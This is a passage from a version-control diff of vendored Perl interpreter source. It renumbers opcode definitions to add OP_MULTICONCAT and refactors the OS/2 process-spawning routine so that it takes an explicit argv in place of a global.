     /* KVHSLICE   */ (OPpMAYBE_LVSUB),
@@ -3092,10 +3118,10 @@
     /* POP        */ (OPpARG1_MASK),
     /* SHIFT      */ (OPpARG1_MASK),
     /* UNSHIFT    */ (OPpARG4_MASK|OPpTARGET_MY),
-    /* SORT       */ (OPpSORT_NUMERIC|OPpSORT_INTEGER|OPpSORT_REVERSE|OPpSORT_INPLACE|OPpSORT_DESCEND|OPpSORT_QSORT|OPpSORT_STABLE),
+    /* SORT       */ (OPpSORT_NUMERIC|OPpSORT_INTEGER|OPpSORT_REVERSE|OPpSORT_INPLACE|OPpSORT_DESCEND|OPpSORT_STABLE|OPpSORT_UNSTABLE),
     /* REVERSE    */ (OPpARG1_MASK|OPpREVERSE_INPLACE),
     /* GREPSTART  */ (OPpARG1_MASK),
-    /* GREPWHILE  */ (OPpARG1_MASK),
+    /* GREPWHILE  */ (OPpARG1_MASK|OPpTRUEBOOL),
     /* MAPSTART   */ (OPpARG1_MASK),
     /* MAPWHILE   */ (OPpARG1_MASK),
     /* RANGE      */ (OPpARG1_MASK),
@@ -3109,7 +3135,6 @@
     /* ANDASSIGN  */ (OPpARG1_MASK),
     /* ORASSIGN   */ (OPpARG1_MASK),
     /* DORASSIGN  */ (OPpARG1_MASK),
-    /* METHOD     */ (OPpARG1_MASK),
     /* ENTERSUB   */ (OPpENTERSUB_INARGS|OPpHINT_STRICT_REFS|OPpENTERSUB_HASTARG|OPpENTERSUB_AMPER|OPpDEREF|OPpENTERSUB_DB|OPpLVAL_INTRO),
     /* LEAVESUB   */ (OPpARG1_MASK|OPpREFCOUNTED),
     /* LEAVESUBLV */ (OPpARG1_MASK|OPpREFCOUNTED),
@@ -3138,6 +3163,7 @@
     /* DUMP       */ (OPpARG1_MASK|OPpPV_IS_UTF8),
     /* GOTO       */ (OPpARG1_MASK|OPpPV_IS_UTF8),
     /* EXIT       */ (OPpARG4_MASK),
+    /* METHOD     */ (OPpARG1_MASK),
     /* METHOD_NAMED */ (OPpARG1_MASK),
     /* METHOD_SUPER */ (OPpARG1_MASK),
     /* METHOD_REDIR */ (OPpARG1_MASK),

Modified: vendor/perl/dist/opnames.h
===================================================================
--- vendor/perl/dist/opnames.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/opnames.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -81,123 +81,123 @@
 	OP_SUBTRACT	 = 64,
 	OP_I_SUBTRACT	 = 65,
 	OP_CONCAT	 = 66,
-	OP_STRINGIFY	 = 67,
-	OP_LEFT_SHIFT	 = 68,
-	OP_RIGHT_SHIFT	 = 69,
-	OP_LT		 = 70,
-	OP_I_LT		 = 71,
-	OP_GT		 = 72,
-	OP_I_GT		 = 73,
-	OP_LE		 = 74,
-	OP_I_LE		 = 75,
-	OP_GE		 = 76,
-	OP_I_GE		 = 77,
-	OP_EQ		 = 78,
-	OP_I_EQ		 = 79,
-	OP_NE		 = 80,
-	OP_I_NE		 = 81,
-	OP_NCMP		 = 82,
-	OP_I_NCMP	 = 83,
-	OP_SLT		 = 84,
-	OP_SGT		 = 85,
-	OP_SLE		 = 86,
-	OP_SGE		 = 87,
-	OP_SEQ		 = 88,
-	OP_SNE		 = 89,
-	OP_SCMP		 = 90,
-	OP_BIT_AND	 = 91,
-	OP_BIT_XOR	 = 92,
-	OP_BIT_OR	 = 93,
-	OP_NBIT_AND	 = 94,
-	OP_NBIT_XOR	 = 95,
-	OP_NBIT_OR	 = 96,
-	OP_SBIT_AND	 = 97,
-	OP_SBIT_XOR	 = 98,
-	OP_SBIT_OR	 = 99,
-	OP_NEGATE	 = 100,
-	OP_I_NEGATE	 = 101,
-	OP_NOT		 = 102,
-	OP_COMPLEMENT	 = 103,
-	OP_NCOMPLEMENT	 = 104,
-	OP_SCOMPLEMENT	 = 105,
-	OP_SMARTMATCH	 = 106,
-	OP_ATAN2	 = 107,
-	OP_SIN		 = 108,
-	OP_COS		 = 109,
-	OP_RAND		 = 110,
-	OP_SRAND	 = 111,
-	OP_EXP		 = 112,
-	OP_LOG		 = 113,
-	OP_SQRT		 = 114,
-	OP_INT		 = 115,
-	OP_HEX		 = 116,
-	OP_OCT		 = 117,
-	OP_ABS		 = 118,
-	OP_LENGTH	 = 119,
-	OP_SUBSTR	 = 120,
-	OP_VEC		 = 121,
-	OP_INDEX	 = 122,
-	OP_RINDEX	 = 123,
-	OP_SPRINTF	 = 124,
-	OP_FORMLINE	 = 125,
-	OP_ORD		 = 126,
-	OP_CHR		 = 127,
-	OP_CRYPT	 = 128,
-	OP_UCFIRST	 = 129,
-	OP_LCFIRST	 = 130,
-	OP_UC		 = 131,
-	OP_LC		 = 132,
-	OP_QUOTEMETA	 = 133,
-	OP_RV2AV	 = 134,
-	OP_AELEMFAST	 = 135,
-	OP_AELEMFAST_LEX = 136,
-	OP_AELEM	 = 137,
-	OP_ASLICE	 = 138,
-	OP_KVASLICE	 = 139,
-	OP_AEACH	 = 140,
-	OP_AVALUES	 = 141,
-	OP_AKEYS	 = 142,
-	OP_EACH		 = 143,
-	OP_VALUES	 = 144,
-	OP_KEYS		 = 145,
-	OP_DELETE	 = 146,
-	OP_EXISTS	 = 147,
-	OP_RV2HV	 = 148,
-	OP_HELEM	 = 149,
-	OP_HSLICE	 = 150,
-	OP_KVHSLICE	 = 151,
-	OP_MULTIDEREF	 = 152,
-	OP_UNPACK	 = 153,
-	OP_PACK		 = 154,
-	OP_SPLIT	 = 155,
-	OP_JOIN		 = 156,
-	OP_LIST		 = 157,
-	OP_LSLICE	 = 158,
-	OP_ANONLIST	 = 159,
-	OP_ANONHASH	 = 160,
-	OP_SPLICE	 = 161,
-	OP_PUSH		 = 162,
-	OP_POP		 = 163,
-	OP_SHIFT	 = 164,
-	OP_UNSHIFT	 = 165,
-	OP_SORT		 = 166,
-	OP_REVERSE	 = 167,
-	OP_GREPSTART	 = 168,
-	OP_GREPWHILE	 = 169,
-	OP_MAPSTART	 = 170,
-	OP_MAPWHILE	 = 171,
-	OP_RANGE	 = 172,
-	OP_FLIP		 = 173,
-	OP_FLOP		 = 174,
-	OP_AND		 = 175,
-	OP_OR		 = 176,
-	OP_XOR		 = 177,
-	OP_DOR		 = 178,
-	OP_COND_EXPR	 = 179,
-	OP_ANDASSIGN	 = 180,
-	OP_ORASSIGN	 = 181,
-	OP_DORASSIGN	 = 182,
-	OP_METHOD	 = 183,
+	OP_MULTICONCAT	 = 67,
+	OP_STRINGIFY	 = 68,
+	OP_LEFT_SHIFT	 = 69,
+	OP_RIGHT_SHIFT	 = 70,
+	OP_LT		 = 71,
+	OP_I_LT		 = 72,
+	OP_GT		 = 73,
+	OP_I_GT		 = 74,
+	OP_LE		 = 75,
+	OP_I_LE		 = 76,
+	OP_GE		 = 77,
+	OP_I_GE		 = 78,
+	OP_EQ		 = 79,
+	OP_I_EQ		 = 80,
+	OP_NE		 = 81,
+	OP_I_NE		 = 82,
+	OP_NCMP		 = 83,
+	OP_I_NCMP	 = 84,
+	OP_SLT		 = 85,
+	OP_SGT		 = 86,
+	OP_SLE		 = 87,
+	OP_SGE		 = 88,
+	OP_SEQ		 = 89,
+	OP_SNE		 = 90,
+	OP_SCMP		 = 91,
+	OP_BIT_AND	 = 92,
+	OP_BIT_XOR	 = 93,
+	OP_BIT_OR	 = 94,
+	OP_NBIT_AND	 = 95,
+	OP_NBIT_XOR	 = 96,
+	OP_NBIT_OR	 = 97,
+	OP_SBIT_AND	 = 98,
+	OP_SBIT_XOR	 = 99,
+	OP_SBIT_OR	 = 100,
+	OP_NEGATE	 = 101,
+	OP_I_NEGATE	 = 102,
+	OP_NOT		 = 103,
+	OP_COMPLEMENT	 = 104,
+	OP_NCOMPLEMENT	 = 105,
+	OP_SCOMPLEMENT	 = 106,
+	OP_SMARTMATCH	 = 107,
+	OP_ATAN2	 = 108,
+	OP_SIN		 = 109,
+	OP_COS		 = 110,
+	OP_RAND		 = 111,
+	OP_SRAND	 = 112,
+	OP_EXP		 = 113,
+	OP_LOG		 = 114,
+	OP_SQRT		 = 115,
+	OP_INT		 = 116,
+	OP_HEX		 = 117,
+	OP_OCT		 = 118,
+	OP_ABS		 = 119,
+	OP_LENGTH	 = 120,
+	OP_SUBSTR	 = 121,
+	OP_VEC		 = 122,
+	OP_INDEX	 = 123,
+	OP_RINDEX	 = 124,
+	OP_SPRINTF	 = 125,
+	OP_FORMLINE	 = 126,
+	OP_ORD		 = 127,
+	OP_CHR		 = 128,
+	OP_CRYPT	 = 129,
+	OP_UCFIRST	 = 130,
+	OP_LCFIRST	 = 131,
+	OP_UC		 = 132,
+	OP_LC		 = 133,
+	OP_QUOTEMETA	 = 134,
+	OP_RV2AV	 = 135,
+	OP_AELEMFAST	 = 136,
+	OP_AELEMFAST_LEX = 137,
+	OP_AELEM	 = 138,
+	OP_ASLICE	 = 139,
+	OP_KVASLICE	 = 140,
+	OP_AEACH	 = 141,
+	OP_AVALUES	 = 142,
+	OP_AKEYS	 = 143,
+	OP_EACH		 = 144,
+	OP_VALUES	 = 145,
+	OP_KEYS		 = 146,
+	OP_DELETE	 = 147,
+	OP_EXISTS	 = 148,
+	OP_RV2HV	 = 149,
+	OP_HELEM	 = 150,
+	OP_HSLICE	 = 151,
+	OP_KVHSLICE	 = 152,
+	OP_MULTIDEREF	 = 153,
+	OP_UNPACK	 = 154,
+	OP_PACK		 = 155,
+	OP_SPLIT	 = 156,
+	OP_JOIN		 = 157,
+	OP_LIST		 = 158,
+	OP_LSLICE	 = 159,
+	OP_ANONLIST	 = 160,
+	OP_ANONHASH	 = 161,
+	OP_SPLICE	 = 162,
+	OP_PUSH		 = 163,
+	OP_POP		 = 164,
+	OP_SHIFT	 = 165,
+	OP_UNSHIFT	 = 166,
+	OP_SORT		 = 167,
+	OP_REVERSE	 = 168,
+	OP_GREPSTART	 = 169,
+	OP_GREPWHILE	 = 170,
+	OP_MAPSTART	 = 171,
+	OP_MAPWHILE	 = 172,
+	OP_RANGE	 = 173,
+	OP_FLIP		 = 174,
+	OP_FLOP		 = 175,
+	OP_AND		 = 176,
+	OP_OR		 = 177,
+	OP_XOR		 = 178,
+	OP_DOR		 = 179,
+	OP_COND_EXPR	 = 180,
+	OP_ANDASSIGN	 = 181,
+	OP_ORASSIGN	 = 182,
+	OP_DORASSIGN	 = 183,
 	OP_ENTERSUB	 = 184,
 	OP_LEAVESUB	 = 185,
 	OP_LEAVESUBLV	 = 186,
@@ -226,194 +226,195 @@
 	OP_DUMP		 = 209,
 	OP_GOTO		 = 210,
 	OP_EXIT		 = 211,
-	OP_METHOD_NAMED	 = 212,
-	OP_METHOD_SUPER	 = 213,
-	OP_METHOD_REDIR	 = 214,
-	OP_METHOD_REDIR_SUPER = 215,
-	OP_ENTERGIVEN	 = 216,
-	OP_LEAVEGIVEN	 = 217,
-	OP_ENTERWHEN	 = 218,
-	OP_LEAVEWHEN	 = 219,
-	OP_BREAK	 = 220,
-	OP_CONTINUE	 = 221,
-	OP_OPEN		 = 222,
-	OP_CLOSE	 = 223,
-	OP_PIPE_OP	 = 224,
-	OP_FILENO	 = 225,
-	OP_UMASK	 = 226,
-	OP_BINMODE	 = 227,
-	OP_TIE		 = 228,
-	OP_UNTIE	 = 229,
-	OP_TIED		 = 230,
-	OP_DBMOPEN	 = 231,
-	OP_DBMCLOSE	 = 232,
-	OP_SSELECT	 = 233,
-	OP_SELECT	 = 234,
-	OP_GETC		 = 235,
-	OP_READ		 = 236,
-	OP_ENTERWRITE	 = 237,
-	OP_LEAVEWRITE	 = 238,
-	OP_PRTF		 = 239,
-	OP_PRINT	 = 240,
-	OP_SAY		 = 241,
-	OP_SYSOPEN	 = 242,
-	OP_SYSSEEK	 = 243,
-	OP_SYSREAD	 = 244,
-	OP_SYSWRITE	 = 245,
-	OP_EOF		 = 246,
-	OP_TELL		 = 247,
-	OP_SEEK		 = 248,
-	OP_TRUNCATE	 = 249,
-	OP_FCNTL	 = 250,
-	OP_IOCTL	 = 251,
-	OP_FLOCK	 = 252,
-	OP_SEND		 = 253,
-	OP_RECV		 = 254,
-	OP_SOCKET	 = 255,
-	OP_SOCKPAIR	 = 256,
-	OP_BIND		 = 257,
-	OP_CONNECT	 = 258,
-	OP_LISTEN	 = 259,
-	OP_ACCEPT	 = 260,
-	OP_SHUTDOWN	 = 261,
-	OP_GSOCKOPT	 = 262,
-	OP_SSOCKOPT	 = 263,
-	OP_GETSOCKNAME	 = 264,
-	OP_GETPEERNAME	 = 265,
-	OP_LSTAT	 = 266,
-	OP_STAT		 = 267,
-	OP_FTRREAD	 = 268,
-	OP_FTRWRITE	 = 269,
-	OP_FTREXEC	 = 270,
-	OP_FTEREAD	 = 271,
-	OP_FTEWRITE	 = 272,
-	OP_FTEEXEC	 = 273,
-	OP_FTIS		 = 274,
-	OP_FTSIZE	 = 275,
-	OP_FTMTIME	 = 276,
-	OP_FTATIME	 = 277,
-	OP_FTCTIME	 = 278,
-	OP_FTROWNED	 = 279,
-	OP_FTEOWNED	 = 280,
-	OP_FTZERO	 = 281,
-	OP_FTSOCK	 = 282,
-	OP_FTCHR	 = 283,
-	OP_FTBLK	 = 284,
-	OP_FTFILE	 = 285,
-	OP_FTDIR	 = 286,
-	OP_FTPIPE	 = 287,
-	OP_FTSUID	 = 288,
-	OP_FTSGID	 = 289,
-	OP_FTSVTX	 = 290,
-	OP_FTLINK	 = 291,
-	OP_FTTTY	 = 292,
-	OP_FTTEXT	 = 293,
-	OP_FTBINARY	 = 294,
-	OP_CHDIR	 = 295,
-	OP_CHOWN	 = 296,
-	OP_CHROOT	 = 297,
-	OP_UNLINK	 = 298,
-	OP_CHMOD	 = 299,
-	OP_UTIME	 = 300,
-	OP_RENAME	 = 301,
-	OP_LINK		 = 302,
-	OP_SYMLINK	 = 303,
-	OP_READLINK	 = 304,
-	OP_MKDIR	 = 305,
-	OP_RMDIR	 = 306,
-	OP_OPEN_DIR	 = 307,
-	OP_READDIR	 = 308,
-	OP_TELLDIR	 = 309,
-	OP_SEEKDIR	 = 310,
-	OP_REWINDDIR	 = 311,
-	OP_CLOSEDIR	 = 312,
-	OP_FORK		 = 313,
-	OP_WAIT		 = 314,
-	OP_WAITPID	 = 315,
-	OP_SYSTEM	 = 316,
-	OP_EXEC		 = 317,
-	OP_KILL		 = 318,
-	OP_GETPPID	 = 319,
-	OP_GETPGRP	 = 320,
-	OP_SETPGRP	 = 321,
-	OP_GETPRIORITY	 = 322,
-	OP_SETPRIORITY	 = 323,
-	OP_TIME		 = 324,
-	OP_TMS		 = 325,
-	OP_LOCALTIME	 = 326,
-	OP_GMTIME	 = 327,
-	OP_ALARM	 = 328,
-	OP_SLEEP	 = 329,
-	OP_SHMGET	 = 330,
-	OP_SHMCTL	 = 331,
-	OP_SHMREAD	 = 332,
-	OP_SHMWRITE	 = 333,
-	OP_MSGGET	 = 334,
-	OP_MSGCTL	 = 335,
-	OP_MSGSND	 = 336,
-	OP_MSGRCV	 = 337,
-	OP_SEMOP	 = 338,
-	OP_SEMGET	 = 339,
-	OP_SEMCTL	 = 340,
-	OP_REQUIRE	 = 341,
-	OP_DOFILE	 = 342,
-	OP_HINTSEVAL	 = 343,
-	OP_ENTEREVAL	 = 344,
-	OP_LEAVEEVAL	 = 345,
-	OP_ENTERTRY	 = 346,
-	OP_LEAVETRY	 = 347,
-	OP_GHBYNAME	 = 348,
-	OP_GHBYADDR	 = 349,
-	OP_GHOSTENT	 = 350,
-	OP_GNBYNAME	 = 351,
-	OP_GNBYADDR	 = 352,
-	OP_GNETENT	 = 353,
-	OP_GPBYNAME	 = 354,
-	OP_GPBYNUMBER	 = 355,
-	OP_GPROTOENT	 = 356,
-	OP_GSBYNAME	 = 357,
-	OP_GSBYPORT	 = 358,
-	OP_GSERVENT	 = 359,
-	OP_SHOSTENT	 = 360,
-	OP_SNETENT	 = 361,
-	OP_SPROTOENT	 = 362,
-	OP_SSERVENT	 = 363,
-	OP_EHOSTENT	 = 364,
-	OP_ENETENT	 = 365,
-	OP_EPROTOENT	 = 366,
-	OP_ESERVENT	 = 367,
-	OP_GPWNAM	 = 368,
-	OP_GPWUID	 = 369,
-	OP_GPWENT	 = 370,
-	OP_SPWENT	 = 371,
-	OP_EPWENT	 = 372,
-	OP_GGRNAM	 = 373,
-	OP_GGRGID	 = 374,
-	OP_GGRENT	 = 375,
-	OP_SGRENT	 = 376,
-	OP_EGRENT	 = 377,
-	OP_GETLOGIN	 = 378,
-	OP_SYSCALL	 = 379,
-	OP_LOCK		 = 380,
-	OP_ONCE		 = 381,
-	OP_CUSTOM	 = 382,
-	OP_COREARGS	 = 383,
-	OP_AVHVSWITCH	 = 384,
-	OP_RUNCV	 = 385,
-	OP_FC		 = 386,
-	OP_PADCV	 = 387,
-	OP_INTROCV	 = 388,
-	OP_CLONECV	 = 389,
-	OP_PADRANGE	 = 390,
-	OP_REFASSIGN	 = 391,
-	OP_LVREF	 = 392,
-	OP_LVREFSLICE	 = 393,
-	OP_LVAVREF	 = 394,
-	OP_ANONCONST	 = 395,
+	OP_METHOD	 = 212,
+	OP_METHOD_NAMED	 = 213,
+	OP_METHOD_SUPER	 = 214,
+	OP_METHOD_REDIR	 = 215,
+	OP_METHOD_REDIR_SUPER = 216,
+	OP_ENTERGIVEN	 = 217,
+	OP_LEAVEGIVEN	 = 218,
+	OP_ENTERWHEN	 = 219,
+	OP_LEAVEWHEN	 = 220,
+	OP_BREAK	 = 221,
+	OP_CONTINUE	 = 222,
+	OP_OPEN		 = 223,
+	OP_CLOSE	 = 224,
+	OP_PIPE_OP	 = 225,
+	OP_FILENO	 = 226,
+	OP_UMASK	 = 227,
+	OP_BINMODE	 = 228,
+	OP_TIE		 = 229,
+	OP_UNTIE	 = 230,
+	OP_TIED		 = 231,
+	OP_DBMOPEN	 = 232,
+	OP_DBMCLOSE	 = 233,
+	OP_SSELECT	 = 234,
+	OP_SELECT	 = 235,
+	OP_GETC		 = 236,
+	OP_READ		 = 237,
+	OP_ENTERWRITE	 = 238,
+	OP_LEAVEWRITE	 = 239,
+	OP_PRTF		 = 240,
+	OP_PRINT	 = 241,
+	OP_SAY		 = 242,
+	OP_SYSOPEN	 = 243,
+	OP_SYSSEEK	 = 244,
+	OP_SYSREAD	 = 245,
+	OP_SYSWRITE	 = 246,
+	OP_EOF		 = 247,
+	OP_TELL		 = 248,
+	OP_SEEK		 = 249,
+	OP_TRUNCATE	 = 250,
+	OP_FCNTL	 = 251,
+	OP_IOCTL	 = 252,
+	OP_FLOCK	 = 253,
+	OP_SEND		 = 254,
+	OP_RECV		 = 255,
+	OP_SOCKET	 = 256,
+	OP_SOCKPAIR	 = 257,
+	OP_BIND		 = 258,
+	OP_CONNECT	 = 259,
+	OP_LISTEN	 = 260,
+	OP_ACCEPT	 = 261,
+	OP_SHUTDOWN	 = 262,
+	OP_GSOCKOPT	 = 263,
+	OP_SSOCKOPT	 = 264,
+	OP_GETSOCKNAME	 = 265,
+	OP_GETPEERNAME	 = 266,
+	OP_LSTAT	 = 267,
+	OP_STAT		 = 268,
+	OP_FTRREAD	 = 269,
+	OP_FTRWRITE	 = 270,
+	OP_FTREXEC	 = 271,
+	OP_FTEREAD	 = 272,
+	OP_FTEWRITE	 = 273,
+	OP_FTEEXEC	 = 274,
+	OP_FTIS		 = 275,
+	OP_FTSIZE	 = 276,
+	OP_FTMTIME	 = 277,
+	OP_FTATIME	 = 278,
+	OP_FTCTIME	 = 279,
+	OP_FTROWNED	 = 280,
+	OP_FTEOWNED	 = 281,
+	OP_FTZERO	 = 282,
+	OP_FTSOCK	 = 283,
+	OP_FTCHR	 = 284,
+	OP_FTBLK	 = 285,
+	OP_FTFILE	 = 286,
+	OP_FTDIR	 = 287,
+	OP_FTPIPE	 = 288,
+	OP_FTSUID	 = 289,
+	OP_FTSGID	 = 290,
+	OP_FTSVTX	 = 291,
+	OP_FTLINK	 = 292,
+	OP_FTTTY	 = 293,
+	OP_FTTEXT	 = 294,
+	OP_FTBINARY	 = 295,
+	OP_CHDIR	 = 296,
+	OP_CHOWN	 = 297,
+	OP_CHROOT	 = 298,
+	OP_UNLINK	 = 299,
+	OP_CHMOD	 = 300,
+	OP_UTIME	 = 301,
+	OP_RENAME	 = 302,
+	OP_LINK		 = 303,
+	OP_SYMLINK	 = 304,
+	OP_READLINK	 = 305,
+	OP_MKDIR	 = 306,
+	OP_RMDIR	 = 307,
+	OP_OPEN_DIR	 = 308,
+	OP_READDIR	 = 309,
+	OP_TELLDIR	 = 310,
+	OP_SEEKDIR	 = 311,
+	OP_REWINDDIR	 = 312,
+	OP_CLOSEDIR	 = 313,
+	OP_FORK		 = 314,
+	OP_WAIT		 = 315,
+	OP_WAITPID	 = 316,
+	OP_SYSTEM	 = 317,
+	OP_EXEC		 = 318,
+	OP_KILL		 = 319,
+	OP_GETPPID	 = 320,
+	OP_GETPGRP	 = 321,
+	OP_SETPGRP	 = 322,
+	OP_GETPRIORITY	 = 323,
+	OP_SETPRIORITY	 = 324,
+	OP_TIME		 = 325,
+	OP_TMS		 = 326,
+	OP_LOCALTIME	 = 327,
+	OP_GMTIME	 = 328,
+	OP_ALARM	 = 329,
+	OP_SLEEP	 = 330,
+	OP_SHMGET	 = 331,
+	OP_SHMCTL	 = 332,
+	OP_SHMREAD	 = 333,
+	OP_SHMWRITE	 = 334,
+	OP_MSGGET	 = 335,
+	OP_MSGCTL	 = 336,
+	OP_MSGSND	 = 337,
+	OP_MSGRCV	 = 338,
+	OP_SEMOP	 = 339,
+	OP_SEMGET	 = 340,
+	OP_SEMCTL	 = 341,
+	OP_REQUIRE	 = 342,
+	OP_DOFILE	 = 343,
+	OP_HINTSEVAL	 = 344,
+	OP_ENTEREVAL	 = 345,
+	OP_LEAVEEVAL	 = 346,
+	OP_ENTERTRY	 = 347,
+	OP_LEAVETRY	 = 348,
+	OP_GHBYNAME	 = 349,
+	OP_GHBYADDR	 = 350,
+	OP_GHOSTENT	 = 351,
+	OP_GNBYNAME	 = 352,
+	OP_GNBYADDR	 = 353,
+	OP_GNETENT	 = 354,
+	OP_GPBYNAME	 = 355,
+	OP_GPBYNUMBER	 = 356,
+	OP_GPROTOENT	 = 357,
+	OP_GSBYNAME	 = 358,
+	OP_GSBYPORT	 = 359,
+	OP_GSERVENT	 = 360,
+	OP_SHOSTENT	 = 361,
+	OP_SNETENT	 = 362,
+	OP_SPROTOENT	 = 363,
+	OP_SSERVENT	 = 364,
+	OP_EHOSTENT	 = 365,
+	OP_ENETENT	 = 366,
+	OP_EPROTOENT	 = 367,
+	OP_ESERVENT	 = 368,
+	OP_GPWNAM	 = 369,
+	OP_GPWUID	 = 370,
+	OP_GPWENT	 = 371,
+	OP_SPWENT	 = 372,
+	OP_EPWENT	 = 373,
+	OP_GGRNAM	 = 374,
+	OP_GGRGID	 = 375,
+	OP_GGRENT	 = 376,
+	OP_SGRENT	 = 377,
+	OP_EGRENT	 = 378,
+	OP_GETLOGIN	 = 379,
+	OP_SYSCALL	 = 380,
+	OP_LOCK		 = 381,
+	OP_ONCE		 = 382,
+	OP_CUSTOM	 = 383,
+	OP_COREARGS	 = 384,
+	OP_AVHVSWITCH	 = 385,
+	OP_RUNCV	 = 386,
+	OP_FC		 = 387,
+	OP_PADCV	 = 388,
+	OP_INTROCV	 = 389,
+	OP_CLONECV	 = 390,
+	OP_PADRANGE	 = 391,
+	OP_REFASSIGN	 = 392,
+	OP_LVREF	 = 393,
+	OP_LVREFSLICE	 = 394,
+	OP_LVAVREF	 = 395,
+	OP_ANONCONST	 = 396,
 	OP_max		
 } opcode;
 
-#define MAXO 396
+#define MAXO 397
 #define OP_FREED MAXO
 
 /* the OP_IS_* macros are optimized to a simple range check because

Modified: vendor/perl/dist/os2/os2.c
===================================================================
--- vendor/perl/dist/os2/os2.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/os2/os2.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -970,7 +970,6 @@
 }
 
 /* Spawn/exec a program, revert to shell if needed. */
-/* global PL_Argv[] contains arguments. */
 
 extern ULONG _emx_exception (	EXCEPTIONREPORTRECORD *,
 				EXCEPTIONREGISTRATIONRECORD *,
@@ -978,7 +977,7 @@
                                 void *);
 
 int
-do_spawn_ve(pTHX_ SV *really, U32 flag, U32 execf, char *inicmd, U32 addflag)
+do_spawn_ve(pTHX_ SV *really, const char **argv, U32 flag, U32 execf, char *inicmd, U32 addflag)
 {
 	int trueflag = flag;
 	int rc, pass = 1;
@@ -997,16 +996,21 @@
 	
 	if (flag == P_WAIT)
 		flag = P_NOWAIT;
-	if (really && !*(real_name = SvPV(really, n_a)))
-	    really = NULL;
+	if (really) {
+	    real_name = SvPV(really, n_a);
+	    real_name = savepv(real_name);
+	    SAVEFREEPV(real_name);
+	    if (!*real_name)
+		really = NULL;
+	}
 
       retry:
-	if (strEQ(PL_Argv[0],"/bin/sh")) 
-	    PL_Argv[0] = PL_sh_path;
+	if (strEQ(argv[0],"/bin/sh")) 
+	    argv[0] = PL_sh_path;
 
 	/* We should check PERL_SH* and PERLLIB_* as well? */
 	if (!really || pass >= 2)
-	    real_name = PL_Argv[0];
+	    real_name = argv[0];
 	if (real_name[0] != '/' && real_name[0] != '\\'
 	    && !(real_name[0] && real_name[1] == ':' 
 		 && (real_name[2] == '/' || real_name[2] != '\\'))
@@ -1098,23 +1102,23 @@
 	}
 
 #if 0
-	rc = result(aTHX_ trueflag, spawnvp(flag,real_name,PL_Argv));
+	rc = result(aTHX_ trueflag, spawnvp(flag,real_name,argv));
 #else
 	if (execf == EXECF_TRUEEXEC)
-	    rc = execvp(real_name,PL_Argv);
+	    rc = execvp(real_name,argv);
 	else if (execf == EXECF_EXEC)
-	    rc = spawnvp(trueflag | P_OVERLAY,real_name,PL_Argv);
+	    rc = spawnvp(trueflag | P_OVERLAY,real_name,argv);
 	else if (execf == EXECF_SPAWN_NOWAIT)
-	    rc = spawnvp(flag,real_name,PL_Argv);
+	    rc = spawnvp(flag,real_name,argv);
         else if (execf == EXECF_SYNC)
-	    rc = spawnvp(trueflag,real_name,PL_Argv);
+	    rc = spawnvp(trueflag,real_name,argv);
         else				/* EXECF_SPAWN, EXECF_SPAWN_BYFLAG */
 	    rc = result(aTHX_ trueflag, 
-			spawnvp(flag,real_name,PL_Argv));
+			spawnvp(flag,real_name,argv));
 #endif 
 	if (rc < 0 && pass == 1) {
 	      do_script:
-	  if (real_name == PL_Argv[0]) {
+	  if (real_name == argv[0]) {
 	    int err = errno;
 
 	    if (err == ENOENT || err == ENOEXEC) {
@@ -1121,7 +1125,7 @@
 		/* No such file, or is a script. */
 		/* Try adding script extensions to the file name, and
 		   search on PATH. */
-		char *scr = find_script(PL_Argv[0], TRUE, NULL, 0);
+		char *scr = find_script(argv[0], TRUE, NULL, 0);
 
 		if (scr) {
 		    char *s = 0, *s1;
@@ -1132,7 +1136,7 @@
 		    scr = SvPV(scrsv, n_a); /* free()ed later */
 
 		    file = PerlIO_open(scr, "r");
-		    PL_Argv[0] = scr;
+		    argv[0] = scr;
 		    if (!file)
 			goto panic_file;
 
@@ -1148,7 +1152,7 @@
 			   does not append ".exe", so we could have
 			   reached this place). */
 			sv_catpv(scrsv, ".exe");
-	                PL_Argv[0] = scr = SvPV(scrsv, n_a);	/* Reload */
+	                argv[0] = scr = SvPV(scrsv, n_a);	/* Reload */
                         if (PerlLIO_stat(scr,&statbuf) >= 0
                             && !S_ISDIR(statbuf.st_mode)) {	/* Found */
 				real_name = scr;
@@ -1171,11 +1175,11 @@
 			if (buf[1] == '!')
 			    s = buf + 2;
 		    } else if (buf[0] == 'e') {
-			if (strEQs(buf, "extproc")
+			if (strBEGINs(buf, "extproc")
 			    && isSPACE(buf[7]))
 			    s = buf + 8;
 		    } else if (buf[0] == 'E') {
-			if (strEQs(buf, "EXTPROC")
+			if (strBEGINs(buf, "EXTPROC")
 			    && isSPACE(buf[7]))
 			    s = buf + 8;
 		    }
@@ -1214,7 +1218,7 @@
 		    /* Can jump from far, buf/file invalid if force_shell: */
 		  doshell_args:
 		    {
-			char **a = PL_Argv;
+			char **a = argv;
 			const char *exec_args[2];
 
 			if (force_shell 
@@ -1240,7 +1244,7 @@
 				    }
 				}
 				if (!inicmd) {
-				    s = PL_Argv[0];
+				    s = argv[0];
 				    while (*s) { 
 					/* Dosish shells will choke on slashes
 					   in paths, fortunately, this is
@@ -1265,8 +1269,8 @@
 				/* Use the original cmd line */
 				/* XXXX This is good only until we refuse
 				        quoted arguments... */
-				PL_Argv[0] = inicmd;
-				PL_Argv[1] = NULL;
+				argv[0] = inicmd;
+				argv[1] = NULL;
 			    }
 			} else if (!buf[0] && inicmd) { /* No file */
 			    /* Start with the original cmdline. */
@@ -1273,8 +1277,8 @@
 			    /* XXXX This is good only until we refuse
 			            quoted arguments... */
 
-			    PL_Argv[0] = inicmd;
-			    PL_Argv[1] = NULL;
+			    argv[0] = inicmd;
+			    argv[1] = NULL;
 			    nargs = 2;	/* shell -c */
 			} 
 
@@ -1281,13 +1285,13 @@
 			while (a[1])		/* Get to the end */
 			    a++;
 			a++;			/* Copy finil NULL too */
-			while (a >= PL_Argv) {
-			    *(a + nargs) = *a;	/* PL_Argv was preallocated to be
+			while (a >= argv) {
+			    *(a + nargs) = *a;	/* argv was preallocated to be
 						   long enough. */
 			    a--;
 			}
 			while (--nargs >= 0) /* XXXX Discard const... */
-			    PL_Argv[nargs] = (char*)argsp[nargs];
+			    argv[nargs] = (char*)argsp[nargs];
 			/* Enable pathless exec if #! (as pdksh). */
 			pass = (buf[0] == '#' ? 2 : 3);
 			goto retry;
@@ -1301,7 +1305,7 @@
